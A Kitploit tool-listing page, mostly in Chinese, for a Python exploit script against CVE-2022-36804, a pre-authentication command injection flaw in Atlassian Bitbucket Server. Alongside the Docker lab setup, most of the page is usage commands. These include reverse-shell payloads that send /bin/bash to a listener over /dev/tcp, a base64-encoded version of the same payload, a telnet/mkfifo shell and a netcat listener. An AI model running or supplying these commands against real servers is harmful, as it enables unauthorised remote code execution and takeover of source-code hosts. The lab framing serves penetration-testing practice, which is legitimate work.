Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
cve-2022-36804 — A critical command injection vulnerability was found in multiple API endpoints of the Atlassian Bit bucket Server and Data center. This vulnerability affects all versions of Bitbucket Server and Data Center released before versions <7.6.17, <7.17.10, <7.21.4, <8.0.3, <8.1.2, <8.2.2, and <8.3.1 | Kitploit
工具/GitHubGitHub/walnutsecurity/cve-2022-36804
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLabs & Practice
GitHubwalnutsecurity/cve-2022-36804

cve-2022-36804

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

关于

A critical command injection vulnerability was found in multiple API endpoints of the Atlassian Bit bucket Server and Data center. This vulnerability affects all versions of Bitbucket Server and Data Center released before versions <7.6.17, <7.17.10, <7.21.4, <8.0.3, <8.1.2, <8.2.2, and <8.3.1

分享
843年前尚未审核

CVE-2022-36804:Atlassian Bitbucket Server 中的预认证 RCE

在 Atlassian Bitbucket Server 和 Data Center 的多个 API 端点中发现了一个严重命令注入漏洞。该漏洞影响所有版本低于 <7.6.17>、<7.17.10>、<7.21.4>、<8.0.3>、<8.1.2>、<8.2.2> 和 <8.3.1> 的 Bitbucket Server 和 Data Center。

CVE-2022-36804 实验环境

构建 Docker

root@kitploit:~
docker build -t bitbucket .

运行 Docker

root@kitploit:~
docker run -it bitbucket

cve-2022-36804.py 用法

检查远程代码执行(RCE)

root@kitploit:~
python3 cve-2022-36804.py -u http://172.17.0.2:7990

使用自定义命令检查 RCE

root@kitploit:~
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c id

使用自定义命令、项目密钥和仓库名称检查 RCE

root@kitploit:~
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c whoami -p NEW -r newrepo

检查私有仓库

root@kitploit:~
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -p NEW -r newrepo --session 2074C8FFA5D13088332C8DF0CD8A7CE7

使用 netcat 获取 Shell

将 172.17.0.3 替换为你的本地 IP 地址

root@kitploit:~
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "/bin/bash -i >& /dev/tcp/172.17.0.3/4444 0>&1"

使用以下命令启动 netcat 监听器:

root@kitploit:~
nc -lvp 4444

如果遇到 Payload 执行错误,将 /bin/bash -i >& /dev/tcp/172.17.0.3/4444 0>&1 转换为 base64 格式。

root@kitploit:~
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4xNy4wLjMvNDQ0NCAwPiYx' | base64 -d | bash |"

如果仍然遇到错误,请执行以下命令:

TF=$(mktemp -u);mkfifo $TF && telnet 172.17.0.3 4444 0<$TF | /bin/bash 1>$TF

root@kitploit:~
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "TF=$(mktemp -u);mkfifo $TF && telnet 172.17.0.3 4444 0<$TF | /bin/bash 1>$TF"

建议在 Windows/Linux 机器上安装存在漏洞的 Bitbucket 服务器版本进行练习。与 Docker 镜像相比,这样更容易实现反向 Shell。

更多信息可参见此处

参考

  • https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36804
  • https://walnutsecurity.com/cve-2022-36804-rce-in-bitbucket-server/
下载工具